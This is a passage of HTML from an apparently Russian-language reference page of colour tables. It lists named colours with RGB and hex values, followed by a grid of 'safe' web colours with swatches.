<tr>
<td align="right">PaleVioletRed3</td>
<td bgcolor="#cd6889">PaleVioletRed3</td>
<td>205 104 137</td>
<td bgcolor="#e7e7e7">#CD6889</td>
</tr>
<tr>
<td align="right">PaleVioletRed4</td>
<td bgcolor="#8b475d">PaleVioletRed4</td>
<td>139 71 93</td>
<td bgcolor="#e7e7e7">#8B475D</td>
</tr>
<tr>
<td align="right">Maroon1</td>
<td bgcolor="#ff34b3">Maroon1</td>
<td>255 52 179</td>
<td bgcolor="#e7e7e7">#FF34B3</td>
</tr>
<tr>
<td align="right">Maroon2</td>
<td bgcolor="#ee30a7">Maroon2</td>
<td>238 48 167</td>
<td bgcolor="#e7e7e7">#EE30A7</td>
</tr>
<tr>
<td align="right">Maroon3</td>
<td bgcolor="#cd2990">Maroon3</td>
<td>205 41 144</td>
<td bgcolor="#e7e7e7">#CD2990</td>
</tr>
<tr>
<td align="right">Maroon4</td>
<td bgcolor="#8b1c62">Maroon4</td>
<td>139 28 98</td>
<td bgcolor="#e7e7e7">#8B1C62</td>
</tr>
<tr>
<td align="right">VioletRed1</td>
<td bgcolor="#ff3e96">VioletRed1</td>
<td>255 62 150</td>
<td bgcolor="#e7e7e7">#FF3E96</td>
</tr>
<tr>
<td align="right">VioletRed2</td>
<td bgcolor="#ee3a8c">VioletRed2</td>
<td>238 58 140</td>
<td bgcolor="#e7e7e7">#EE3A8C</td>
</tr>
<tr>
<td align="right">VioletRed3</td>
<td bgcolor="#cd3278">VioletRed3</td>
<td>205 50 120</td>
<td bgcolor="#e7e7e7">#CD3278</td>
</tr>
<tr>
<td align="right">VioletRed4</td>
<td bgcolor="#8b2252">VioletRed4</td>
<td>139 34 82</td>
<td bgcolor="#e7e7e7">#8B2252</td>
</tr>
<tr>
<td align="right">Magenta1</td>
<td bgcolor="#ff00ff">Magenta1</td>
<td>255 0 255</td>
<td bgcolor="#e7e7e7">#FF00FF</td>
</tr>
<tr>
<td align="right">Magenta2</td>
<td bgcolor="#ee00ee">Magenta2</td>
<td>238 0 238</td>
<td bgcolor="#e7e7e7">#EE00EE</td>
</tr>
<tr>
<td align="right">Magenta3</td>
<td bgcolor="#cd00cd">Magenta3</td>
<td>205 0 205</td>
<td bgcolor="#e7e7e7">#CD00CD</td>
</tr>
<tr>
<td align="right">Magenta4</td>
<td bgcolor="#8b008b">Magenta4</td>
<td>139 0 139</td>
<td bgcolor="#e7e7e7">#8B008B</td>
</tr>
<tr>
<td align="right">Orchid1</td>
<td bgcolor="#ff83fa">Orchid1</td>
<td>255 131 250</td>
<td bgcolor="#e7e7e7">#FF83FA</td>
</tr>
<tr>
<td align="right">Orchid2</td>
<td bgcolor="#ee7ae9">Orchid2</td>
<td>238 122 233</td>
<td bgcolor="#e7e7e7">#EE7AE9</td>
</tr>
<tr>
<td align="right">Orchid3</td>
<td bgcolor="#cd69c9">Orchid3</td>
<td>205 105 201</td>
<td bgcolor="#e7e7e7">#CD69C9</td>
</tr>
<tr>
<td align="right">Orchid4</td>
<td bgcolor="#8b4789">Orchid4</td>
<td>139 71 137</td>
<td bgcolor="#e7e7e7">#8B4789</td>
</tr>
<tr>
<td align="right">Plum1</td>
<td bgcolor="#ffbbff">Plum1</td>
<td>255 187 255</td>
<td bgcolor="#e7e7e7">#FFBBFF</td>
</tr>
<tr>
<td align="right">Plum2</td>
<td bgcolor="#eeaeee">Plum2</td>
<td>238 174 238</td>
<td bgcolor="#e7e7e7">#EEAEEE</td>
</tr>
<tr>
<td align="right">Plum3</td>
<td bgcolor="#cd96cd">Plum3</td>
<td>205 150 205</td>
<td bgcolor="#e7e7e7">#CD96CD</td>
</tr>
<tr>
<td align="right">Plum4</td>
<td bgcolor="#8b668b">Plum4</td>
<td>139 102 139</td>
<td bgcolor="#e7e7e7">#8B668B</td>
</tr>
<tr>
<td align="right">MediumOrchid1</td>
<td bgcolor="#e066ff">MediumOrchid1</td>
<td>224 102 255</td>
<td bgcolor="#e7e7e7">#E066FF</td>
</tr>
<tr>
<td align="right">MediumOrchid2</td>
<td bgcolor="#d15fee">MediumOrchid2</td>
<td>209 95 238</td>
<td bgcolor="#e7e7e7">#D15FEE</td>
</tr>
<tr>
<td align="right">MediumOrchid3</td>
<td bgcolor="#b452cd">MediumOrchid3</td>
<td>180 82 205</td>
<td bgcolor="#e7e7e7">#B452CD</td>
</tr>
<tr>
<td align="right">MediumOrchid4</td>
<td bgcolor="#7a378b">MediumOrchid4</td>
<td>122 55 139</td>
<td bgcolor="#e7e7e7">#7A378B</td>
</tr>
<tr>
<td align="right">DarkOrchid1</td>
<td bgcolor="#bf3eff">DarkOrchid1</td>
<td>191 62 255</td>
<td bgcolor="#e7e7e7">#BF3EFF</td>
</tr>
<tr>
<td align="right">DarkOrchid2</td>
<td bgcolor="#b23aee">DarkOrchid2</td>
<td>178 58 238</td>
<td bgcolor="#e7e7e7">#B23AEE</td>
</tr>
<tr>
<td align="right">DarkOrchid3</td>
<td bgcolor="#9a32cd">DarkOrchid3</td>
<td>154 50 205</td>
<td bgcolor="#e7e7e7">#9A32CD</td>
</tr>
<tr>
<td align="right">DarkOrchid4</td>
<td bgcolor="#68228b">DarkOrchid4</td>
<td>104 34 139</td>
<td bgcolor="#e7e7e7">#68228B</td>
</tr>
<tr>
<td align="right">Purple1</td>
<td bgcolor="#9b30ff">Purple1</td>
<td>155 48 255</td>
<td bgcolor="#e7e7e7">#9B30FF</td>
</tr>
<tr>
<td align="right">Purple2</td>
<td bgcolor="#912cee">Purple2</td>
<td>145 44 238</td>
<td bgcolor="#e7e7e7">#912CEE</td>
</tr>
<tr>
<td align="right">Purple3</td>
<td bgcolor="#7d26cd">Purple3</td>
<td>125 38 205</td>
<td bgcolor="#e7e7e7">#7D26CD</td>
</tr>
<tr>
<td align="right">Purple4</td>
<td bgcolor="#551a8b">Purple4</td>
<td>85 26 139</td>
<td bgcolor="#e7e7e7">#551A8B</td>
</tr>
<tr>
<td align="right">MediumPurple1</td>
<td bgcolor="#ab82ff">MediumPurple1</td>
<td>171 130 255</td>
<td bgcolor="#e7e7e7">#AB82FF</td>
</tr>
<tr>
<td align="right">MediumPurple2</td>
<td bgcolor="#9f79ee">MediumPurple2</td>
<td>159 121 238</td>
<td bgcolor="#e7e7e7">#9F79EE</td>
</tr>
<tr>
<td align="right">MediumPurple3</td>
<td bgcolor="#8968cd">MediumPurple3</td>
<td>137 104 205</td>
<td bgcolor="#e7e7e7">#8968CD</td>
</tr>
<tr>
<td align="right">MediumPurple4</td>
<td bgcolor="#5d478b">MediumPurple4</td>
<td>93 71 139</td>
<td bgcolor="#e7e7e7">#5D478B</td>
</tr>
<tr>
<td align="right">Thistle1</td>
<td bgcolor="#ffe1ff">Thistle1</td>
<td>255 225 255</td>
<td bgcolor="#e7e7e7">#FFE1FF</td>
</tr>
<tr>
<td align="right">Thistle2</td>
<td bgcolor="#eed2ee">Thistle2</td>
<td>238 210 238</td>
<td bgcolor="#e7e7e7">#EED2EE</td>
</tr>
<tr>
<td align="right">Thistle3</td>
<td bgcolor="#cdb5cd">Thistle3</td>
<td>205 181 205</td>
<td bgcolor="#e7e7e7">#CDB5CD</td>
</tr>
<tr>
<td align="right">Thistle4</td>
<td bgcolor="#8b7b8b">Thistle4</td>
<td>139 123 139</td>
<td bgcolor="#e7e7e7">#8B7B8B</td>
</tr>
<tr>
<td align="right">grey11</td>
<td bgcolor="#1c1c1c">grey11</td>
<td>28 28 28</td>
<td bgcolor="#e7e7e7">#1C1C1C</td>
</tr>
<tr>
<td align="right">grey21</td>
<td bgcolor="#363636">grey21</td>
<td>54 54 54</td>
<td bgcolor="#e7e7e7">#363636</td>
</tr>
<tr>
<td align="right">grey31</td>
<td bgcolor="#4f4f4f">grey31</td>
<td>79 79 79</td>
<td bgcolor="#e7e7e7">#4F4F4F</td>
</tr>
<tr>
<td align="right">grey41</td>
<td bgcolor="#696969">grey41</td>
<td>105 105 105</td>
<td bgcolor="#e7e7e7">#696969</td>
</tr>
<tr>
<td align="right">grey51</td>
<td bgcolor="#828282">grey51</td>
<td>130 130 130</td>
<td bgcolor="#e7e7e7">#828282</td>
</tr>
<tr>
<td align="right">grey61</td>
<td bgcolor="#9c9c9c">grey61</td>
<td>156 156 156</td>
<td bgcolor="#e7e7e7">#9C9C9C</td>
</tr>
<tr>
<td align="right">grey71</td>
<td bgcolor="#b5b5b5">grey71</td>
<td>181 181 181</td>
<td bgcolor="#e7e7e7">#B5B5B5</td>
</tr>
<tr>
<td align="right">gray81</td>
<td bgcolor="#cfcfcf">gray81</td>
<td>207 207 207</td>
<td bgcolor="#e7e7e7">#CFCFCF</td>
</tr>
<tr>
<td align="right">gray91</td>
<td bgcolor="#e8e8e8">gray91</td>
<td>232 232 232</td>
<td bgcolor="#e7e7e7">#E8E8E8</td>
</tr>
<tr>
<td align="right">DarkGrey</td>
<td bgcolor="#a9a9a9">DarkGrey</td>
<td>169 169 169</td>
<td bgcolor="#e7e7e7">#A9A9A9</td>
</tr>
<tr>
<td align="right">DarkBlue</td>
<td bgcolor="#00008b">DarkBlue</td>
<td>0 0 139</td>
<td bgcolor="#e7e7e7">#00008B</td>
</tr>
<tr>
<td align="right">DarkCyan</td>
<td bgcolor="#008b8b">DarkCyan</td>
<td>0 139 139</td>
<td bgcolor="#e7e7e7">#008B8B</td>
</tr>
<tr>
<td align="right">DarkMagenta</td>
<td bgcolor="#8b008b">DarkMagenta</td>
<td>139 0 139</td>
<td bgcolor="#e7e7e7">#8B008B</td>
</tr>
<tr>
<td align="right">DarkRed</td>
<td bgcolor="#8b0000">DarkRed</td>
<td>139 0 0</td>
<td bgcolor="#e7e7e7">#8B0000</td>
</tr>
<tr>
<td align="right">LightGreen</td>
<td bgcolor="#90ee90">LightGreen</td>
<td>144 238 144</td>
<td bgcolor="#e7e7e7">#90EE90</td>
</tr>
</tbody>
</table>
</div>
<p><strong>Таблица «безопасных» HTML цветов</strong></p>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.255.204</span></td>
<td width="16%"><span>255.255.153</span></td>
<td width="16%"><span>255.255.102</span></td>
<td width="16%"><span>255.255.51</span></td>
<td width="16%"><span>255.255.0</span></td>
<td width="16%"><span>204.204.0</span></td>
</tr>
<tr>
<td><span>FFFFCC</span></td>
<td><span>FFFF99</span></td>
<td><span>FFFF66</span></td>
<td><span>FFFF33</span></td>
<td><span>FFFF00</span></td>
<td><span>CCCC00</span></td>
</tr>
<tr>
<td bgcolor="#ffffcc"></td>
<td bgcolor="#ffff99"></td>
<td bgcolor="#ffff66"></td>
<td bgcolor="#ffff33"></td>
<td bgcolor="#ffff00"></td>
<td bgcolor="#cccc00"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.204.102</span></td>
<td width="16%"><span>255.204.0</span></td>
<td width="16%"><span>255.204.51</span></td>
<td width="16%"><span>204.153.0</span></td>
<td width="16%"><span>204.153.51</span></td>
<td width="16%"><span><span class="howc">153.102.0</span></span></td>
</tr>
<tr>
<td><span>FFCC66</span></td>
<td><span>FFCC00</span></td>
<td><span>FFCC33</span></td>
<td><span><span class="howcr">CC9900</span></span></td>
<td><span><span class="howcr">CC9933</span></span></td>
<td><span>996600</span></td>
</tr>
<tr>
<td bgcolor="#ffcc66"></td>
<td bgcolor="#ffcc00"></td>
<td bgcolor="#ffcc33"></td>
<td bgcolor="#cc9900"></td>
<td bgcolor="#cc9933"></td>
<td bgcolor="#996600"></td>
</tr>
</tbody>
</table>
<p><!-- Вы представляете, все эти таблицы делались вручную... я целую неделю угрохал на них... --></p>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.153.0</span></td>
<td width="16%"><span>255.153.51</span></td>
<td width="16%"><span>204.153.102</span></td>
<td width="16%"><span>204.102.0</span></td>
<td width="16%"><span><span class="howc">153.102.51</span></span></td>
<td width="16%"><span><span class="howc">102.51.0</span></span></td>
</tr>
<tr>
<td><span>FF9900</span></td>
<td><span>FF9933</span></td>
<td><span><span class="howcr">CC9966</span></span></td>
<td><span><span class="howcr">CC6600</span></span></td>
<td><span>996633</span></td>
<td><span>663300</span></td>
</tr>
<tr>
<td bgcolor="#ff9900"></td>
<td bgcolor="#ff9933"></td>
<td bgcolor="#cc9966"></td>
<td bgcolor="#cc6600"></td>
<td bgcolor="#996633"></td>
<td bgcolor="#663300"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.204.153</span></td>
<td width="16%"><span>255.153.102</span></td>
<td width="16%"><span>255.102.0</span></td>
<td width="16%"><span>204.102.51</span></td>
<td width="16%"><span><span class="howc">153.51.0</span></span></td>
<td width="16%"><span><span class="howc">102.0.0</span></span></td>
</tr>
<tr>
<td><span>FFCC99</span></td>
<td><span>FF9966</span></td>
<td><span>FF6600</span></td>
<td><span><span class="howcr">CC6633</span></span></td>
<td><span>993300</span></td>
<td><span>660000</span></td>
</tr>
<tr>
<td bgcolor="#ffcc99"></td>
<td bgcolor="#ff9966"></td>
<td bgcolor="#ff6600"></td>
<td bgcolor="#cc6633"></td>
<td bgcolor="#993300"></td>
<td bgcolor="#660000"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.102.51</span></td>
<td width="16%"><span>204.51.0</span></td>
<td width="16%"><span>255.51.0</span></td>
<td width="16%"><span>255.0.0</span></td>
<td width="16%"><span>204.0.0</span></td>
<td width="16%"><span><span class="howc">153.0.0</span></span></td>
</tr>
<tr>
<td><span>FF6633</span></td>
<td><span><span class="howcr">CC3300</span></span></td>
<td><span>FF3300</span></td>
<td><span>FF0000</span></td>
<td><span><span class="howcr">CC0000</span></span></td>
<td><span>990000</span></td>
</tr>
<tr>
<td bgcolor="#ff6633"></td>
<td bgcolor="#cc3300"></td>
<td bgcolor="#ff3300"></td>
<td bgcolor="#ff0000"></td>
<td bgcolor="#cc0000"></td>
<td bgcolor="#990000"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.204.204</span></td>
<td width="16%"><span>255.153.153</span></td>
<td width="16%"><span>255.102.102</span></td>
<td width="16%"><span>255.51.51</span></td>
<td width="16%"><span>255.0.51</span></td>
<td width="16%"><span>204.0.51</span></td>
</tr>
<tr>
<td><span>FFCCCC</span></td>
<td><span>FF9999</span></td>
<td><span>FF6666</span></td>
<td><span>FF3333</span></td>
<td><span>FF0033</span></td>
<td><span><span class="howcr">CC0033</span></span></td>
</tr>
<tr>
<td bgcolor="#ffcccc"></td>
<td bgcolor="#ff9999"></td>
<td bgcolor="#ff6666"></td>
<td bgcolor="#ff3333"></td>
<td bgcolor="#ff0033"></td>
<td bgcolor="#cc0033"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.153.153</span></td>
<td width="16%"><span>204.102.102</span></td>
<td width="16%"><span>204.51.51</span></td>
<td width="16%"><span><span class="howc">153.51.51</span></span></td>
<td width="16%"><span><span class="howc">153.0.51</span></span></td>
<td width="16%"><span>51.0.0</span></td>
</tr>
<tr>
<td><span><span class="howcr">CC9999</span></span></td>
<td><span><span class="howcr">CC6666</span></span></td>
<td><span><span class="howcr">CC3333</span></span></td>
<td><span>993333</span></td>
<td><span>990033</span></td>
<td><span>330000</span></td>
</tr>
<tr>
<td bgcolor="#cc9999"></td>
<td bgcolor="#cc6666"></td>
<td bgcolor="#cc3333"></td>
<td bgcolor="#993333"></td>
<td bgcolor="#990033"></td>
<td bgcolor="#330000"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.102.153</span></td>
<td width="16%"><span>255.51.102</span></td>
<td width="16%"><span>255.0.102</span></td>
<td width="16%"><span>204.51.102</span></td>
<td width="16%"><span><span class="howc">153.102.102</span></span></td>
<td width="16%"><span><span class="howc">102.51.51</span></span></td>
</tr>
<tr>
<td><span>FF6699</span></td>
<td><span>FF3366</span></td>
<td><span>FF0066</span></td>
<td><span><span class="howcr">CC3366</span></span></td>
<td><span>996666</span></td>
<td><span>663333</span></td>
</tr>
<tr>
<td bgcolor="#ff6699"></td>
<td bgcolor="#ff3366"></td>
<td bgcolor="#ff0066"></td>
<td bgcolor="#cc3366"></td>
<td bgcolor="#996666"></td>
<td bgcolor="#663333"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.153.204</span></td>
<td width="16%"><span>255.51.153</span></td>
<td width="16%"><span>255.0.153</span></td>
<td width="16%"><span>204.0.102</span></td>
<td width="16%"><span><span class="howc">153.51.102</span></span></td>
<td width="16%"><span><span class="howc">102.0.51</span></span></td>
</tr>
<tr>
<td><span>FF99CC</span></td>
<td><span>FF3399</span></td>
<td><span>FF0099</span></td>
<td><span><span class="howcr">CC0066</span></span></td>
<td><span>993366</span></td>
<td><span>660033</span></td>
</tr>
<tr>
<td bgcolor="#ff99cc"></td>
<td bgcolor="#ff3399"></td>
<td bgcolor="#ff0099"></td>
<td bgcolor="#cc0066"></td>
<td bgcolor="#993366"></td>
<td bgcolor="#660033"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.102.204</span></td>
<td width="16%"><span>255.0.204</span></td>
<td width="16%"><span>255.51.204</span></td>
<td width="16%"><span>204.102.153</span></td>
<td width="16%"><span>204.0.153</span></td>
<td width="16%"><span><span class="howc">153.0.102</span></span></td>
</tr>
<tr>
<td><span>FF66CC</span></td>
<td><span>FF00CC</span></td>
<td><span>FF33CC</span></td>
<td><span><span class="howcr">CC6699</span></span></td>
<td><span><span class="howcr">CC0099</span></span></td>
<td><span>990066</span></td>
</tr>
<tr>
<td bgcolor="#ff66cc"></td>
<td bgcolor="#ff00cc"></td>
<td bgcolor="#ff33cc"></td>
<td bgcolor="#cc6699"></td>
<td bgcolor="#cc0099"></td>
<td bgcolor="#990066"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>255.204.255</span></td>
<td width="16%"><span>255.153.255</span></td>
<td width="16%"><span>255.102.255</span></td>
<td width="16%"><span>255.51.255</span></td>
<td width="16%"><span>255.0.255</span></td>
<td width="16%"><span>204.51.153</span></td>
</tr>
<tr>
<td><span>FFCCFF</span></td>
<td><span>FF99FF</span></td>
<td><span>FF66FF</span></td>
<td><span>FF33FF</span></td>
<td><span>FF00FF</span></td>
<td><span><span class="howcr">CC3399</span></span></td>
</tr>
<tr>
<td bgcolor="#ffccff"></td>
<td bgcolor="#ff99ff"></td>
<td bgcolor="#ff66ff"></td>
<td bgcolor="#ff33ff"></td>
<td bgcolor="#ff00ff"></td>
<td bgcolor="#cc3399"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.153.204</span></td>
<td width="16%"><span>204.102.204</span></td>
<td width="16%"><span>204.0.204</span></td>
<td width="16%"><span>204.51.204</span></td>
<td width="16%"><span><span class="howc">153.0.153</span></span></td>
<td width="16%"><span><span class="howc">153.51.153</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">CC99CC</span></span></td>
<td><span><span class="howcr">CC66CC</span></span></td>
<td><span><span class="howcr">CC00CC</span></span></td>
<td><span><span class="howcr">CC33CC</span></span></td>
<td><span>990099</span></td>
<td><span>993399</span></td>
</tr>
<tr>
<td bgcolor="#cc99cc"></td>
<td bgcolor="#cc66cc"></td>
<td bgcolor="#cc00cc"></td>
<td bgcolor="#cc33cc"></td>
<td bgcolor="#990099"></td>
<td bgcolor="#993399"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.102.255</span></td>
<td width="16%"><span>204.51.255</span></td>
<td width="16%"><span>204.0.255</span></td>
<td width="16%"><span><span class="howc">153.0.204</span></span></td>
<td width="16%"><span><span class="howc">153.102.153</span></span></td>
<td width="16%"><span><span class="howc">102.0.102</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">CC66FF</span></span></td>
<td><span><span class="howcr">CC33FF</span></span></td>
<td><span><span class="howcr">CC00FF</span></span></td>
<td><span>9900CC</span></td>
<td><span>996699</span></td>
<td><span>660066</span></td>
</tr>
<tr>
<td bgcolor="#cc66ff"></td>
<td bgcolor="#cc33ff"></td>
<td bgcolor="#cc00ff"></td>
<td bgcolor="#9900cc"></td>
<td bgcolor="#996699"></td>
<td bgcolor="#660066"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.153.255</span></td>
<td width="16%"><span><span class="howc">153.51.204</span></span></td>
<td width="16%"><span><span class="howc">153.51.255</span></span></td>
<td width="16%"><span><span class="howc">153.0.255</span></span></td>
<td width="16%"><span><span class="howc">102.0.153</span></span></td>
<td width="16%"><span><span class="howc">102.51.102</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">CC99FF</span></span></td>
<td><span>9933CC</span></td>
<td><span>9933FF</span></td>
<td><span>9900FF</span></td>
<td><span>660099</span></td>
<td><span>663366</span></td>
</tr>
<tr>
<td bgcolor="#cc99ff"></td>
<td bgcolor="#9933cc"></td>
<td bgcolor="#9933ff"></td>
<td bgcolor="#9900ff"></td>
<td bgcolor="#660099"></td>
<td bgcolor="#663366"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.102.204</span></span></td>
<td width="16%"><span><span class="howc">153.102.255</span></span></td>
<td width="16%"><span><span class="howc">102.0.204</span></span></td>
<td width="16%"><span><span class="howc">102.51.204</span></span></td>
<td width="16%"><span><span class="howc">102.51.153</span></span></td>
<td width="16%"><span>51.0.51</span></td>
</tr>
<tr>
<td><span>9966CC</span></td>
<td><span>9966FF</span></td>
<td><span>6600CC</span></td>
<td><span>6633CC</span></td>
<td><span>663399</span></td>
<td><span>330033</span></td>
</tr>
<tr>
<td bgcolor="#9966cc"></td>
<td bgcolor="#9966ff"></td>
<td bgcolor="#6600cc"></td>
<td bgcolor="#6633cc"></td>
<td bgcolor="#663399"></td>
<td bgcolor="#330033"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>204.204.255</span></td>
<td width="16%"><span><span class="howc">153.153.255</span></span></td>
<td width="16%"><span><span class="howc">102.51.255</span></span></td>
<td width="16%"><span><span class="howc">102.0.255</span></span></td>
<td width="16%"><span>51.0.153</span></td>
<td width="16%"><span>51.0.102</span></td>
</tr>
<tr>
<td><span><span class="howcr">CCCCFF</span></span></td>
<td><span>9999FF</span></td>
<td><span>6633FF</span></td>
<td><span>6600FF</span></td>
<td><span>330099</span></td>
<td><span>330066</span></td>
</tr>
<tr>
<td bgcolor="#ccccff"></td>
<td bgcolor="#9999ff"></td>
<td bgcolor="#6633ff"></td>
<td bgcolor="#6600ff"></td>
<td bgcolor="#330099"></td>
<td bgcolor="#330066"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.153.204</span></span></td>
<td width="16%"><span><span class="howc">102.102.255</span></span></td>
<td width="16%"><span><span class="howc">102.102.204</span></span></td>
<td width="16%"><span><span class="howc">102.102.153</span></span></td>
<td width="16%"><span>51.51.153</span></td>
<td width="16%"><span>51.51.102</span></td>
</tr>
<tr>
<td><span>9999CC</span></td>
<td><span>6666FF</span></td>
<td><span>6666CC</span></td>
<td><span>666699</span></td>
<td><span>333399</span></td>
<td><span>333366</span></td>
</tr>
<tr>
<td bgcolor="#9999cc"></td>
<td bgcolor="#6666ff"></td>
<td bgcolor="#6666cc"></td>
<td bgcolor="#666699"></td>
<td bgcolor="#333399"></td>
<td bgcolor="#333366"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span>51.51.255</span></td>
<td width="16%"><span>51.0.255</span></td>
<td width="16%"><span>51.0.204</span></td>
<td width="16%"><span>51.51.204</span></td>
<td width="16%"><span><span class="howcr">0.0.153</span></span></td>
<td width="16%"><span><span class="howcr">0.0.102</span></span></td>
</tr>
<tr>
<td><span>3333FF</span></td>
<td><span>3300FF</span></td>
<td><span>3300CC</span></td>
<td><span>3333CC</span></td>
<td><span><span class="howcr">000099</span></span></td>
<td><span><span class="howcr">000066</span></span></td>
</tr>
<tr>
<td bgcolor="#3333ff"></td>
<td bgcolor="#3300ff"></td>
<td bgcolor="#3300cc"></td>
<td bgcolor="#3333cc"></td>
<td bgcolor="#000099"></td>
<td bgcolor="#000066"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">102.153.255</span></span></td>
<td width="16%"><span>51.102.255</span></td>
<td width="16%"><span><span class="howcr">0.0.255</span></span></td>
<td width="16%"><span><span class="howcr">0.0.204</span></span></td>
<td width="16%"><span><span class="howcr">0.51.204</span></span></td>
<td width="16%"><span><span class="howcr">0.0.51</span></span></td>
</tr>
<tr>
<td><span>6699FF</span></td>
<td><span>3366FF</span></td>
<td><span><span class="howcr">0000FF</span></span></td>
<td><span><span class="howcr">0000CC</span></span></td>
<td><span><span class="howcr">0033CC</span></span></td>
<td><span><span class="howcr">000033</span></span></td>
</tr>
<tr>
<td bgcolor="#6699ff"></td>
<td bgcolor="#3366ff"></td>
<td bgcolor="#0000ff"></td>
<td bgcolor="#0000cc"></td>
<td bgcolor="#0033cc"></td>
<td bgcolor="#000033"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howcr">0.102.255</span></span></td>
<td width="16%"><span><span class="howcr">0.102.204</span></span></td>
<td width="16%"><span>51.102.204</span></td>
<td width="16%"><span><span class="howcr">0.51.255</span></span></td>
<td width="16%"><span><span class="howcr">0.51.153</span></span></td>
<td width="16%"><span><span class="howcr">0.51.102</span></span></td>
</tr>
<tr>
<td><span><span class="howcr">0066FF</span></span></td>
<td><span><span class="howcr">0066CC</span></span></td>
<td><span>3366CC</span></td>
<td><span><span class="howcr">0033FF</span></span></td>
<td><span><span class="howcr">003399</span></span></td>
<td><span><span class="howcr">003366</span></span></td>
</tr>
<tr>
<td bgcolor="#0066ff"></td>
<td bgcolor="#0066cc"></td>
<td bgcolor="#3366cc"></td>
<td bgcolor="#0033ff"></td>
<td bgcolor="#003399"></td>
<td bgcolor="#003366"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.204.255</span></span></td>
<td width="16%"><span>51.153.255</span></td>
<td width="16%"><span><span class="howcr">0.153.255</span></span></td>
<td width="16%"><span><span class="howc">102.153.204</span></span></td>
<td width="16%"><span>51.102.153</span></td>
<td width="16%"><span><span class="howcr">0.102.153</span></span></td>
</tr>
<tr>
<td><span>99CCFF</span></td>
<td><span>3399FF</span></td>
<td><span><span class="howcr">0099FF</span></span></td>
<td><span>6699CC</span></td>
<td><span>336699</span></td>
<td><span><span class="howcr">006699</span></span></td>
</tr>
<tr>
<td bgcolor="#99ccff"></td>
<td bgcolor="#3399ff"></td>
<td bgcolor="#0099ff"></td>
<td bgcolor="#6699cc"></td>
<td bgcolor="#336699"></td>
<td bgcolor="#006699"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">102.204.255</span></span></td>
<td width="16%"><span>51.204.255</span></td>
<td width="16%"><span><span class="howcr">0.204.255</span></span></td>
<td width="16%"><span>51.153.204</span></td>
<td width="16%"><span><span class="howcr">0.153.204</span></span></td>
<td width="16%"><span><span class="howcr">0.51.51</span></span></td>
</tr>
<tr>
<td><span>66CCFF</span></td>
<td><span>33CCFF</span></td>
<td><span><span class="howcr">00CCFF</span></span></td>
<td><span>3399CC</span></td>
<td><span><span class="howcr">0099CC</span></span></td>
<td><span><span class="howcr">003333</span></span></td>
</tr>
<tr>
<td bgcolor="#66ccff"></td>
<td bgcolor="#33ccff"></td>
<td bgcolor="#00ccff"></td>
<td bgcolor="#3399cc"></td>
<td bgcolor="#0099cc"></td>
<td bgcolor="#003333"></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="1" cellpadding="1" width="100%">
<tbody>
<tr>
<td width="16%"><span><span class="howc">153.204.204</span></span></td>
<td width="16%"><span><span class="howc">102.204.204</span></span></td>
<td width="16%"><span>51.153.153</span></td>
<td width="16%"><span><span class="howc">102.153.153</span></span></td>
<td width="16%"><span><span class="howcr">0.102.102</span></span></td>
<td width="16%"><span>51.102.102</span></td>
</tr>
<tr>
<td><span>99CCCC</span></td>
<td><span>66CCCC</span></td>
<td><span>339999</span></td>
<td><span>669999</span></td>
<td><span><span class="howcr">006666</span></span></td>
<td><span>336666</span></td>
</tr>
<tr>
<td bgcolor="#99cccc"></td>
<td bgcolor="#66cccc"></td>
<td bgcolor="#339999"></td>
<td bgcolor="#669999"></td>
<td bgcolor="#006666"></td>
<td bgcolor="#336666"></td>
</tr>
</tbody>
</table>
